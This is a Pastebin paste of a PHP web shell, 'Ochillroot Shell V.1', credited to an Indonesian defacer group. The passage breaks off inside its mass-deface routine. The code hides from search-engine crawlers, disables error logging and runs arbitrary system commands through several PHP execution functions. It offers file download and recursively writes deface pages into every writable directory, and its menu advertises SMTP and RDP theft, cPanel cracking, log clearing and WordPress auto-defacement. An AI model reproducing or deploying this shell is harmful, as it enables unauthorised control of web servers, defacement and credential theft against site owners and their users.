PalmaSolutions

maklongentod.php

Apr 6th, 2018
485
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.18 KB | None | 0 0
  1. <?php /*
  2. * Ochillroot Shell V.1
  3. * "+---------------------------------------------------+"
  4. * | Coded : by VALENS1A |"
  5. * | Name Shell : Ochillroot Shell V.1 |"
  6. * | Rilis : 01 - 03 - 2017 / 14:32 WIB |"
  7. * | Copyright : IndoXploit - Ochill_Bintang |"
  8. * +----------------------------------------------------+"
  9. * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  10. /* ----------------------------------------------------- */
  11.  
  12. session_start();
  13. error_reporting(0);
  14. set_time_limit(0);
  15. @set_magic_quotes_runtime(0);
  16. @clearstatcache();
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @ini_set('output_buffering',0);
  21. @ini_set('display_errors', 0);
  22.  
  23. $auth_pass = "67ad9a5b42d94df90935b57ea6a1b0e3"; // Default Psswordnya Mas: IDTT2017 by VALENS1A
  24. $color = "aqua";
  25. $default_action = 'FilesMan';
  26. $default_use_ajax = true;
  27. $default_charset = 'UTF-8';
  28. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  29. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  30. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  31. header('HTTP/1.0 404 Not Found');
  32. exit;
  33.  
  34. <html>
  35. <!-- ****************************** : ****************************** -->
  36. <iframe width="0" height="0" src="https://www.youtube.com/embed/-dE8zrDxVps?autoplay=1" frameborder="0" allowfullscreen></iframe>
  37. <!-- ****************************** : ****************************** -->
  38. <head>
  39. <link rel="shortcut icon" type="image/x-icon" href="http://www.fancyicons.com/free-icons/103/flags/png/48/indonesia_flag_48.png"><script language="JavaScript">function tb5_makeArray(n){ this.length = n; return this.length;
  40.  
  41.  
  42.  
  43. }
  44.  
  45.  
  46.  
  47. tb5_messages = new tb5_makeArray(2);
  48.  
  49.  
  50.  
  51. tb5_messages[0] = "./OchillRoot | VALENS1A";
  52.  
  53.  
  54.  
  55. tb5_messages[1] = "..::[+ Ochillroot Mini Shell v.01 +]::..";
  56.  
  57.  
  58.  
  59. tb5_rptType = 'infinite';
  60.  
  61.  
  62.  
  63. tb5_rptNbr = 100;
  64.  
  65.  
  66.  
  67. tb5_speed = 200;
  68.  
  69.  
  70.  
  71. tb5_delay = 50;
  72.  
  73.  
  74.  
  75. var tb5_counter=1;
  76.  
  77.  
  78.  
  79. var tb5_currMsg=0;
  80.  
  81.  
  82.  
  83. var tb5_stsmsg="";
  84.  
  85.  
  86.  
  87. function tb5_shuffle(arr){
  88.  
  89.  
  90.  
  91. var k;
  92.  
  93.  
  94.  
  95. for (i=0; i<arr.length; i++){ k = Math.round(Math.random() * (arr.length - i - 1)) + i; temp = arr[i];arr[i]=arr[k];arr[k]=temp;
  96.  
  97.  
  98.  
  99. }
  100.  
  101.  
  102.  
  103. return arr;
  104.  
  105.  
  106.  
  107. }
  108.  
  109.  
  110.  
  111. tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
  112.  
  113.  
  114.  
  115. tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
  116.  
  117.  
  118.  
  119. for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){ tb5_arr[i] = i; tb5_sts[i] = "_";
  120.  
  121.  
  122.  
  123. }
  124.  
  125.  
  126.  
  127. tb5_arr = tb5_shuffle(tb5_arr);
  128.  
  129.  
  130.  
  131. function tb5_init(n){
  132.  
  133.  
  134.  
  135. var k;
  136.  
  137.  
  138.  
  139. if (n == tb5_arr.length){ if (tb5_currMsg == tb5_messages.length-1){ if ((tb5_rptType == 'finite') && (tb5_counter==tb5_rptNbr)){ clearTimeout(tb5_timerID); return; } tb5_counter++; tb5_currMsg=0; } else{ tb5_currMsg++; } n=0; tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length); tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length); for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){ tb5_arr[i] = i; tb5_sts[i] = "_"; } tb5_arr = tb5_shuffle(tb5_arr); tb5_sp=tb5_delay;
  140.  
  141.  
  142.  
  143. }
  144.  
  145.  
  146.  
  147. else{ tb5_sp=tb5_speed; k = tb5_arr[n]; tb5_sts[k] = tb5_messages[tb5_currMsg].charAt(k); tb5_stsmsg = ""; for (var i=0; i<tb5_sts.length; i++) tb5_stsmsg += tb5_sts[i]; document.title = tb5_stsmsg; n++; } tb5_timerID = setTimeout("tb5_init("+n+")", tb5_sp);
  148.  
  149.  
  150.  
  151. }
  152.  
  153.  
  154.  
  155. function tb5_randomizetitle(){ tb5_init(0);
  156.  
  157.  
  158.  
  159. }
  160.  
  161.  
  162.  
  163. tb5_randomizetitle();</script>
  164. <style type="text/css">
  165. html {
  166. margin: 20px auto;
  167. cursor:url(http://cur.cursors-4u.net/symbols/sym-1/sym46.cur),progress!important;
  168. background:#121214 url(https://static.alphacoders.com/desktops/5243.jpg) no-repeat center center fixed;
  169. -webkit-background-size: cover;
  170. -moz-background-size: cover;
  171. -o-background-size: cover;
  172. background-size: cover;
  173. color: aqua;
  174. text-align: center;
  175. }
  176. header {
  177. color: aqua;
  178. margin: 10px auto;
  179. }
  180. input[type=password] {
  181. width: 250px;
  182. height: 25px;
  183. color: aqua;
  184. background: rgba(0,225,0,00);
  185. border: 1px dotted #000;
  186. padding: 5px;
  187. text-align: center;
  188. }
  189.  
  190. </style>
  191. </head>
  192. <center>
  193. <header>
  194. </header>
  195. <br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
  196. <br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
  197. <br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
  198. <form method="post">
  199. <input type="password" name="pass">
  200. </form>
  201. <?php
  202. exit;
  203. }
  204. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  205. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  206. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  207. else
  208. login_shell();
  209. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  210. @ob_clean();
  211. $file = $_GET['file'];
  212. header('Content-Description: File Transfer');
  213. header('Content-Type: application/octet-stream');
  214. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  215. header('Expires: 0');
  216. header('Cache-Control: must-revalidate');
  217. header('Pragma: public');
  218. header('Content-Length: ' . filesize($file));
  219. readfile($file);
  220. exit;
  221. }
  222. ?>
  223. <html>
  224. <head>
  225. <link rel="shortcut icon" type="image/x-icon" href="http://www.fancyicons.com/free-icons/103/flags/png/48/indonesia_flag_48.png"><script language="JavaScript">function tb5_makeArray(n){ this.length = n; return this.length;
  226.  
  227.  
  228.  
  229. }
  230.  
  231.  
  232.  
  233. tb5_messages = new tb5_makeArray(2);
  234.  
  235.  
  236.  
  237. tb5_messages[0] = "./OchillRoot | VALENS1A";
  238.  
  239.  
  240.  
  241. tb5_messages[1] = "..::[+ OchillRoot Mini Shell V.01 +]::..";
  242.  
  243.  
  244.  
  245. tb5_rptType = 'infinite';
  246.  
  247.  
  248.  
  249. tb5_rptNbr = 100;
  250.  
  251.  
  252.  
  253. tb5_speed = 200;
  254.  
  255.  
  256.  
  257. tb5_delay = 50;
  258.  
  259.  
  260.  
  261. var tb5_counter=1;
  262.  
  263.  
  264.  
  265. var tb5_currMsg=0;
  266.  
  267.  
  268.  
  269. var tb5_stsmsg="";
  270.  
  271.  
  272.  
  273. function tb5_shuffle(arr){
  274.  
  275.  
  276.  
  277. var k;
  278.  
  279.  
  280.  
  281. for (i=0; i<arr.length; i++){ k = Math.round(Math.random() * (arr.length - i - 1)) + i; temp = arr[i];arr[i]=arr[k];arr[k]=temp;
  282.  
  283.  
  284.  
  285. }
  286.  
  287.  
  288.  
  289. return arr;
  290.  
  291.  
  292.  
  293. }
  294.  
  295.  
  296.  
  297. tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
  298.  
  299.  
  300.  
  301. tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
  302.  
  303.  
  304.  
  305. for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){ tb5_arr[i] = i; tb5_sts[i] = "_";
  306.  
  307.  
  308.  
  309. }
  310.  
  311.  
  312.  
  313. tb5_arr = tb5_shuffle(tb5_arr);
  314.  
  315.  
  316.  
  317. function tb5_init(n){
  318.  
  319.  
  320.  
  321. var k;
  322.  
  323.  
  324.  
  325. if (n == tb5_arr.length){ if (tb5_currMsg == tb5_messages.length-1){ if ((tb5_rptType == 'finite') && (tb5_counter==tb5_rptNbr)){ clearTimeout(tb5_timerID); return; } tb5_counter++; tb5_currMsg=0; } else{ tb5_currMsg++; } n=0; tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length); tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length); for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){ tb5_arr[i] = i; tb5_sts[i] = "_"; } tb5_arr = tb5_shuffle(tb5_arr); tb5_sp=tb5_delay;
  326.  
  327.  
  328.  
  329. }
  330.  
  331.  
  332.  
  333. else{ tb5_sp=tb5_speed; k = tb5_arr[n]; tb5_sts[k] = tb5_messages[tb5_currMsg].charAt(k); tb5_stsmsg = ""; for (var i=0; i<tb5_sts.length; i++) tb5_stsmsg += tb5_sts[i]; document.title = tb5_stsmsg; n++; } tb5_timerID = setTimeout("tb5_init("+n+")", tb5_sp);
  334.  
  335.  
  336.  
  337. }
  338.  
  339.  
  340.  
  341. function tb5_randomizetitle(){ tb5_init(0);
  342.  
  343.  
  344.  
  345. }
  346.  
  347.  
  348.  
  349. tb5_randomizetitle();</script>
  350. <meta name='author' content='IndoXploit | OchillRoot | VALENS1A | Annanda H4x0r | Semua defacer yang ada di IDTT'>
  351. <meta charset="UTF-8">
  352. <style type='text/css'>
  353. html {
  354. cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur863.ani), url(http://cur.cursors-4u.net/cursors/cur-9/cur863.png), default !important;
  355. background:#121214 url(https://static.alphacoders.com/desktops/5243.jpg) no-repeat center center fixed;
  356. -webkit-background-size: cover;
  357. -moz-background-size: cover;
  358. -o-background-size: cover;
  359. background-size: cover;
  360. color: white;
  361. font-family: 'Ubuntu';
  362. font-size: 13px;
  363. width: 100%;
  364. }
  365. li {
  366. display: inline;
  367. margin: 5px;
  368. padding: 5px;
  369. }
  370. table, th, td {
  371. border-collapse:collapse;
  372. font-family: Tahoma, Geneva, sans-serif;
  373. background: transparent;
  374. font-family: 'Ubuntu';
  375. font-size: 13px;
  376. }
  377. .table_home, .th_home, .td_home {
  378. border: 1px solid white;
  379. }
  380. th {
  381. padding: 10px;
  382. }
  383. a {
  384. color: aqua;
  385. text-decoration: none;
  386. }
  387. a:hover {
  388. color: gold;
  389. text-decoration: underline;
  390. }
  391. b {
  392. color: gold;
  393. }
  394. input[type=text], input[type=password],input[type=submit] {
  395. background: transparent;
  396. color: aqua;
  397. border: 1px solid aqua;
  398. margin: 5px auto;
  399. padding-left: 5px;
  400. font-family: 'Ubuntu';
  401. font-size: 13px;
  402. }
  403. hr {
  404. border : 0;
  405. height : 1px;
  406. background-image : linear-gradient(to right, rgba(0, 0, 0, 0), rgb(0,255,255), rgba(0, 0, 0, 0))
  407. }
  408. textarea {
  409. border: 1px solid aqua;
  410. width: 100%;
  411. height: 400px;
  412. padding-left: 5px;
  413. margin: 10px auto;
  414. resize: none;
  415. background: transparent;
  416. color: aqua;
  417. font-family: 'Ubuntu';
  418. font-size: 13px;
  419. }
  420. select {
  421. width: 152px;
  422. background: rgba(0,225,0,00);
  423. color: aqua;
  424. border: 1px solid white;
  425. margin: 5px auto;
  426. padding-left: 5px;
  427. font-family: 'Ubuntu';
  428. font-size: 13px;
  429. }
  430. option:hover {
  431. background: lime;
  432. color: #fff;
  433. }
  434. #content .first{
  435. background-color: silver;
  436. }
  437. #content .first:hover{
  438. background-color: silver;
  439. text-shadow:0px 0px 1px #757575;
  440. }
  441.  
  442. </style>
  443. <link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css">
  444. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript"></script>
  445. <style>
  446. /*NoScript*/
  447. #enjs {z-index: 999;position:fixed;top:0;left:0;width:100%;height:100%;background-color:#000;margin:0;padding:0;}
  448. #enjs p {margin:0;padding:0;width:100%;color:#333;position:relative;top:40%;font:bold 18px/20px arial;text-align:center;text-shadow:none;}
  449. /*ScrollBar */
  450. ::-webkit-scrollbar {width: 12px;}
  451. ::-webkit-scrollbar-track {background:rgb(71, 71, 71);}
  452. ::-webkit-scrollbar-thumb, ::-webkit-scrollbar-thumb:window-inactive { background: rgb(34, 34, 34); }
  453. #loading-overlay {position:fixed;top:0;left:0;right:0;bottom:0;background:#000000;z-index:999999;text-align:center;width:100%;height:100%;padding-top:22%;color:Darkviolet;}
  454. .ball {background-color: transparent;border:5px solid rgb(240 ,0 , 0);border-right:5px solid transparent;border-left:5px solid transparent;border-radius:50px;box-shadow: 0 0 35px rgb(255 ,0 , 0);width:50px;height:50px;margin:0 auto;-moz-animation:spinPulse 1s infinite ease-in-out;-webkit-animation:spinPulse 1s infinite linear;}
  455. .ball1 {background-color: transparent;border:5px solid rgb(240 ,0 , 0);border-left:5px solid transparent;border-right:5px solid transparent;border-radius:50px;box-shadow: 0 0 15px rgb(255 ,0 , 0);width:30px;height:30px;margin:0 auto;position:relative;top:-50px;-moz-animation:spinoffPulse 1s infinite linear;-webkit-animation:spinoffPulse 1s infinite linear;}
  456. @-moz-keyframes spinPulse {0% { -moz-transform:rotate(160deg); opacity:0; box-shadow:0 0 1px rgb(255, 0, 0)}50% { -moz-transform:rotate(145deg); opacity:1; }100% { -moz-transform:rotate(-320deg); opacity:0; }}
  457. @-moz-keyframes spinoffPulse {0% { -moz-transform:rotate(0deg); } 100% { -moz-transform:rotate(360deg); }}
  458. @-webkit-keyframes spinPulse {0% { -webkit-transform:rotate(160deg); opacity:0; box-shadow:0 0 1px rgb(255, 0, 0)} 50% { -webkit-transform:rotate(145deg); opacity:1;} 100% { -webkit-transform:rotate(-320deg); opacity:0; }}
  459. @-webkit-keyframes spinoffPulse {0% { -webkit-transform:rotate(0deg); } 100% { -webkit-transform:rotate(360deg); }}
  460. </style>
  461. </head>
  462. <body>
  463. <div id="loading-overlay">
  464. <div class="ball"></div>
  465. <div class="ball1"></div>
  466. <h3>Tunggu sebentar,.... Masih Proses Loading..............</h3>
  467. </div>
  468. <script>
  469. // hilangkan overlay dengan efek .fadeOut() jika keseluruhan halaman telah selesai dimuat
  470. $(window).bind("load", function() {
  471. $("#loading-overlay").fadeOut();
  472. });
  473. </script>
  474. <br /><br />
  475. </body>
  476. </html>
  477. <?php
  478. function w($dir,$perm) {
  479. if(!is_writable($dir)) {
  480. return "<font color=red>".$perm."</font>";
  481. } else {
  482. return "<font color=lime>".$perm."</font>";
  483. }
  484. }
  485. function r($dir,$perm) {
  486. if(!is_readable($dir)) {
  487. return "<font color=red>".$perm."</font>";
  488. } else {
  489. return "<font color=lime>".$perm."</font>";
  490. }
  491. }
  492. function exe($cmd) {
  493. if(function_exists('system')) {
  494. @ob_start();
  495. @system($cmd);
  496. $buff = @ob_get_contents();
  497. @ob_end_clean();
  498. return $buff;
  499. } elseif(function_exists('exec')) {
  500. @exec($cmd,$results);
  501. $buff = "";
  502. foreach($results as $result) {
  503. $buff .= $result;
  504. } return $buff;
  505. } elseif(function_exists('passthru')) {
  506. @ob_start();
  507. @passthru($cmd);
  508. $buff = @ob_get_contents();
  509. @ob_end_clean();
  510. return $buff;
  511. } elseif(function_exists('shell_exec')) {
  512. $buff = @shell_exec($cmd);
  513. return $buff;
  514. }
  515. }
  516. function perms($file){
  517. $perms = fileperms($file);
  518. if (($perms & 0xC000) == 0xC000) {
  519. // Socket
  520. $info = 's';
  521. } elseif (($perms & 0xA000) == 0xA000) {
  522. // Symbolic Link
  523. $info = 'l';
  524. } elseif (($perms & 0x8000) == 0x8000) {
  525. // Regular
  526. $info = '-';
  527. } elseif (($perms & 0x6000) == 0x6000) {
  528. // Block special
  529. $info = 'b';
  530. } elseif (($perms & 0x4000) == 0x4000) {
  531. // Directory
  532. $info = 'd';
  533. } elseif (($perms & 0x2000) == 0x2000) {
  534. // Character special
  535. $info = 'c';
  536. } elseif (($perms & 0x1000) == 0x1000) {
  537. // FIFO pipe
  538. $info = 'p';
  539. } else {
  540. // Unknown
  541. $info = 'u';
  542. }
  543. // Owner
  544. $info .= (($perms & 0x0100) ? 'r' : '-');
  545. $info .= (($perms & 0x0080) ? 'w' : '-');
  546. $info .= (($perms & 0x0040) ?
  547. (($perms & 0x0800) ? 's' : 'x' ) :
  548. (($perms & 0x0800) ? 'S' : '-'));
  549. // Group
  550. $info .= (($perms & 0x0020) ? 'r' : '-');
  551. $info .= (($perms & 0x0010) ? 'w' : '-');
  552. $info .= (($perms & 0x0008) ?
  553. (($perms & 0x0400) ? 's' : 'x' ) :
  554. (($perms & 0x0400) ? 'S' : '-'));
  555. // World
  556. $info .= (($perms & 0x0004) ? 'r' : '-');
  557. $info .= (($perms & 0x0002) ? 'w' : '-');
  558. $info .= (($perms & 0x0001) ?
  559. (($perms & 0x0200) ? 't' : 'x' ) :
  560. (($perms & 0x0200) ? 'T' : '-'));
  561. return $info;
  562. }
  563. function hdd($s) {
  564. if($s >= 1073741824)
  565. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  566. elseif($s >= 1048576)
  567. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  568. elseif($s >= 1024)
  569. return sprintf('%1.2f',$s / 1024 ) .' KB';
  570. else
  571. return $s .' B';
  572. }
  573. function ambilKata($param, $kata1, $kata2){
  574. if(strpos($param, $kata1) === FALSE) return FALSE;
  575. if(strpos($param, $kata2) === FALSE) return FALSE;
  576. $start = strpos($param, $kata1) + strlen($kata1);
  577. $end = strpos($param, $kata2, $start);
  578. $return = substr($param, $start, $end - $start);
  579. return $return;
  580. }
  581. function getsource($url) {
  582. $curl = curl_init($url);
  583. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  584. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  585. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  586. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
  587. $content = curl_exec($curl);
  588. curl_close($curl);
  589. return $content;
  590. }
  591. function bing($dork) {
  592. $npage = 1;
  593. $npages = 30000;
  594. $allLinks = array();
  595. $lll = array();
  596. while($npage <= $npages) {
  597. $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
  598. if($x) {
  599. preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  600. foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  601. $npage = $npage + 10;
  602. if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  603. } else break;
  604. }
  605. $URLs = array();
  606. foreach($allLinks as $url){
  607. $exp = explode("/", $url);
  608. $URLs[] = $exp[2];
  609. }
  610. $array = array_filter($URLs);
  611. $array = array_unique($array);
  612. $sss = count(array_unique($array));
  613. foreach($array as $domain) {
  614. echo $domain."\n";
  615. }
  616. }
  617. function reverse($url) {
  618. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  619. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  620. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  621. curl_setopt($ch, CURLOPT_HEADER, 0);
  622. curl_setopt($ch, CURLOPT_POST, 1);
  623. $resp = curl_exec($ch);
  624. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  625. $array = explode(",,", $resp);
  626. unset($array[0]);
  627. foreach($array as $lnk) {
  628. $lnk = "http://$lnk";
  629. $lnk = str_replace(",", "", $lnk);
  630. echo $lnk."\n";
  631. ob_flush();
  632. flush();
  633. }
  634. curl_close($ch);
  635. }
  636. if(get_magic_quotes_gpc()) {
  637. function idx_ss($array) {
  638. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  639. }
  640. $_POST = idx_ss($_POST);
  641. $_COOKIE = idx_ss($_COOKIE);
  642. }
  643.  
  644. if(isset($_GET['dir'])) {
  645. $dir = $_GET['dir'];
  646. chdir($dir);
  647. } else {
  648. $dir = getcwd();
  649. }
  650. $kernel = php_uname();
  651. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  652. $dir = str_replace("\\","/",$dir);
  653. $scdir = explode("/", $dir);
  654. $freespace = hdd(disk_free_space("/"));
  655. $total = hdd(disk_total_space("/"));
  656. $used = $total - $freespace;
  657. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=lime>HIDUP</font>" : "<font color=red>MATI</font>";
  658. $ds = @ini_get("disable_functions");
  659. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>HIDUP</font>" : "<font color=red>MATI</font>";
  660. $curl = (function_exists('curl_version')) ? "<font color=lime>HIDUP</font>" : "<font color=red>MATI</font>";
  661. $wget = (exe('wget --help')) ? "<font color=lime>HIDUP</font>" : "<font color=red>MATI</font>";
  662. $perl = (exe('perl --help')) ? "<font color=lime>HIDUP</font>" : "<font color=red>MATI</font>";
  663. $python = (exe('python --help')) ? "<font color=lime>HIDUP</font>" : "<font color=red>MATI</font>";
  664. $show_ds = (!empty($ds)) ? "<font color=lime>$ds</font>" : "<font color=red>KOSONG</font>";
  665. $portkontlo = $_SERVER['SERVER_PORT'];
  666. if(!function_exists('posix_getegid')) {
  667. $user = @get_current_user();
  668. $uid = @getmyuid();
  669. $gid = @getmygid();
  670. $group = "?";
  671. } else {
  672. $uid = @posix_getpwuid(posix_geteuid());
  673. $gid = @posix_getgrgid(posix_getegid());
  674. $user = $uid['name'];
  675. $uid = $uid['uid'];
  676. $group = $gid['name'];
  677. $gid = $gid['gid'];
  678. }
  679. echo '<font>
  680. <center>
  681. <table style="background:# " border="1"><tr>
  682. <th style="background:blink;">
  683. <!--by ochill-->
  684.  
  685. <br>
  686. <font color\"aqua\"="" size="\&quot;5\&quot;"> ..::[+ OchillRoot Mini Shell V.01 +]::.. </font>
  687. <br> <br>
  688. <div style="-moz-border-radius: webkit-border-radius: 10px 5px 10px 5px; background-color: #; border-radius: 10px; border: 1px solid white ;"><div class="cont"><br>
  689. <style>
  690.  
  691. body,table{background: ; font-family:Verdana,tahoma; color: white ; font-size:10px }
  692. A:link {text-decoration: none;color: aqua;}
  693. A:active {text-decoration: none;color: aqua;}
  694. A:visited {text-decoration: none;color: lime;}
  695. A:hover {text-decoration: underline; color: fuchsia;}
  696. #new,input,table,td,tr,#gg{border-style:solid;text-decoration:bold ;}
  697. input:hover,tr:hover,td:hover{background-color: ; color: aqua;}
  698.  
  699. .inputzbut:hover{border:1px solid white;}
  700. </style>';
  701. echo '<span align="left">';
  702. echo "<ul>";
  703. echo "<li><br><font color=white>
  704. System : <font color=lime>".$kernel."</font></li><br>
  705. User : <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>
  706. Server IP : <font color=lime>".$ip."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>
  707. HDD : <font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>
  708. Safe Mode : $sm<br>
  709. Port : <font color=lime> $portkontlo </font><br>
  710. MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </font><br></li>";
  711. echo "</ul><hr><ul>";
  712. echo "<li>[ <a style='color: lime;' href='?'> Home </a> ]</li>";
  713. echo "<li>[ <a style='color: lime;' href='?dir=$dir&ochill_valens1a=valens1a'> About </a> ]</li>";
  714. echo "<li>[ <a style='color: red;' href='?logout=true'> Metu </a> ]</li>";
  715. echo "</ul>";
  716. echo "</span>";
  717. echo "<center>
  718. ..::[+
  719. [ <a href='?dir=$dir&ochill_valens1a=upload'> Upload </a> ]
  720. [ <a href='?dir=$dir&ochill_valens1a=cmd'> Dolanan CMD </a> ]
  721. [ <a href='?dir=$dir&ochill_valens1a=config'> Config </a> ]
  722. [ <a href='?dir=$dir&ochill_valens1a=jumping'> Ngolek Kamar </a> ]
  723. [ <a href='?dir=$dir&ochill_valens1a=valen_defacemassal'> Deface Massal </a> ]
  724. [ <a href='?dir=$dir&ochill_valens1a=mass_delete'> Busek Massal </a> ]
  725. [ <a href='?dir=$dir&ochill_valens1a=valens1a_mainsabun'> Sabuner </a> ]
  726. +]::..
  727. <br /><br />
  728. ..::[+
  729. [ <a href='?dir=$dir&ochill_valens1a=smtp'> Nyolong SMTP </a> ]
  730. [ <a href='?dir=$dir&ochill_valens1a=krdp_shell'> Nyolong RDP </a> ]
  731. [ <a href='?dir=$dir&ochill_valens1a=adminer'> Mbobol Kamar </a> ]
  732. [ <a href='?dir=$dir&ochill_valens1a=valens1a_logclr'> Golek Log </a> ]
  733. [ <a href='?dir=$dir&ochill_valens1a=cgi'> Telnet </a> ]
  734. [ <a href='?dir=$dir&ochill_valens1a=network'> Jaringan </a> ]
  735. [ <a href='?dir=$dir&ochill_valens1a=fake_root'> Fake Root </a> ]
  736. +]::..
  737. <br /><br />
  738. ..::[+
  739. [ <a href='?dir=$dir&ochill_valens1a=auto_edit_user'> Auto Pacaki User </a> ]
  740. [ <a href='?dir=$dir&ochill_valens1a=auto_wp'> Auto Pacaki Jeneng WP </a> ]
  741. [ <a href='?dir=$dir&ochill_valens1a=auto_dwp'> WP Auto Deface </a> ]
  742. [ <a href='?dir=$dir&ochill_valens1a=auto_dwp2'> WP Auto Deface V.2 </a> ]
  743. [ <a href='?dir=$dir&ochill_valens1a=cpftp_auto'> CPanel/FTP Auto Deface </a> ]
  744. +]::..
  745. <br /><br />
  746. ..::[+
  747. [ <a href='?dir=$dir&ochill_valens1a=cpanel'> Ngecrack Cpanel </a> ]
  748. [ <a href='?dir=$dir&ochill_valens1a=valens1a_sym'> Symlink </a> ]
  749. [ <a href='?dir=$dir&ochill_valens1a=valens1adecode'> Encode/Decode </a> ]
  750. [ <a href='?dir=$dir&ochill_valens1a=valens1a_ckshl'> Check Shell </a> ]
  751. [ <a href='?dir=$dir&ochill_valens1a=valens1a_shlglk'> Golek Shell </a> ]
  752. [ <a href='?dir=$dir&ochill_valens1a=zoneh'> Zone-H </a> ]
  753. [ <a href='?dir=$dir&ochill_valens1a=defacerid'> Defacer-Id </a> ]
  754. [ <a href='?dir=$dir&ochill_valens1a=valens1a_zip'> Zip Karo Unzip </a> ]
  755. [ <a style='color: red;' href='?dir=$dir&ochill_valens1a=valens1akill'> Busek Shell </a> ]
  756. +]::..
  757. </center>";
  758. echo '<span align="left">';
  759. echo "<hr><ul><li>
  760. <font color=lime>Panggone Sempak: </font>";
  761. foreach($scdir as $c_dir => $cdir) {
  762. echo "<a href='?dir=";
  763. for($i = 0; $i <= $c_dir; $i++) {
  764. echo $scdir[$i];
  765. if($i != $c_dir) {
  766. echo "/";
  767. }
  768. }
  769. echo "'>$cdir</a>/";
  770. }
  771. echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]</li></ul></span>";
  772. echo "<hr>";
  773. if($_GET['logout'] == true) {
  774. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  775. echo "<script>window.location='?';</script>";
  776. } elseif($_GET['ochill_valens1a'] == 'valens1akill') {
  777. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  778. die('<center><br><center><h2>Shell sukses di busek</h2><br>Suwon wes tau gawe shell iki cok! Removed by V A L E N S 1 A.</center></center>');
  779. else
  780. echo '<center>Shell gagal di busek!</center>';
  781. }elseif($_GET['ochill_valens1a'] == 'valen_defacemassal') {
  782. function sabun_massal($dir,$namafile,$isi_script) {
  783. if(is_writable($dir)) {
  784. $dira = scandir($dir);
  785. foreach($dira as $dirb) {
  786. $dirc = "$dir/$dirb";
  787. $lokasi = $dirc.'/'.$namafile;
  788. if($dirb === '.') {
  789. file_put_contents($lokasi, $isi_script);
  790. } elseif($dirb === '..') {
  791. file_put_contents($lokasi, $isi_script);
  792. } else {
  793. if(is_dir($dirc)) {
  794. if(is_writable($dirc)) {
  795. echo "[<font color=lime>MARI</font>] $lokasi<br>";
  796. file_put_contents($lokasi, $isi_script);
  797. $idx = sabun_massal($dirc,$namafile,$isi_script);
  798. }
  799. }
  800. }
  801. }
  802. }
  803. }
  804. function sabun_biasa($dir,$namafile,$isi_script) {
  805. if(is_writable($dir)) {
  806. $dira = scandir($dir);
  807. foreach($dira as $dirb) {
  808. $dirc = "$dir/$dirb";
  809. $lokasi = $dirc.'/'.$namafile;
  810. if($dirb === '.') {
  811. file_put_contents($lokasi, $isi_script);
  812. } elseif($dirb === '..') {
  813. file_put_contents($lokasi, $isi_script);
  814. } else {
  815. if(is_dir($dirc)) {
  816. if(is_writable($dirc)) {
  817. echo "[<font color=lime>MARI</font>] $dirb/$namafile<br>";
  818. file_put_contents($lokasi, $isi_script);
  819. }
  820. }
  821. }
  822. }
  823. }
  824. }
